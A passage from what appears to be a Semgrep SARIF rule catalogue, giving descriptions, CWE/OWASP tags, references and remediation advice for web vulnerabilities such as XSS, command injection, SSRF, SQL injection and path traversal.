default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi)\n - [https://fastapi.tiangolo.com/advanced/templates/](https://fastapi.tiangolo.com/advanced/templates/)\n - [https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse](https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","id":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","name":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection)\n - [https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html](https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection","id":"php.lang.security.tainted-curl-injection.tainted-curl-injection","name":"php.lang.security.tainted-curl-injection.tainted-curl-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-curl-injection.tainted-curl-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","id":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","name":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf","id":"csharp.lang.security.ssrf.http-client.ssrf","name":"csharp.lang.security.ssrf.http-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.http-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"help":{"markdown":"Function borrowFresh() in Compound performs state update after doTransferOut()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4](https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n","text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","id":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","name":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"help":{"markdown":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval","id":"ruby.lang.security.no-eval.ruby-eval","name":"ruby.lang.security.no-eval.ruby-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-eval.ruby-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint","id":"csharp.dotnet-core.command-injection.process-taint.process-taint","name":"csharp.dotnet-core.command-injection.process-taint.process-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint.process-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"help":{"markdown":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input)\n - [https://flask.palletsprojects.com/en/1.0.x/security/](https://flask.palletsprojects.com/en/1.0.x/security/)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"helpUri":"https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input","id":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","name":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unsanitized-input.response-contains-unsanitized-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"help":{"markdown":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data)\n - [https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes](https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes)\n","text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"helpUri":"https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data","id":"php.lang.security.deserialization.extract-user-data","name":"php.lang.security.deserialization.extract-user-data","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.deserialization.extract-user-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection)\n - [https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac)\n","text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","id":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","name":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","id":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","name":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode","id":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","name":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-hardcode.jwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","id":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","name":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","id":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","name":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django","id":"python.django.db.aiosqlite-django.aiosqlite-django","name":"python.django.db.aiosqlite-django.aiosqlite-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.aiosqlite-django.aiosqlite-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","id":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","name":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.turbine-sqli.turbine-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n - [https://www.starlette.io/responses/](https://www.starlette.io/responses/)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of 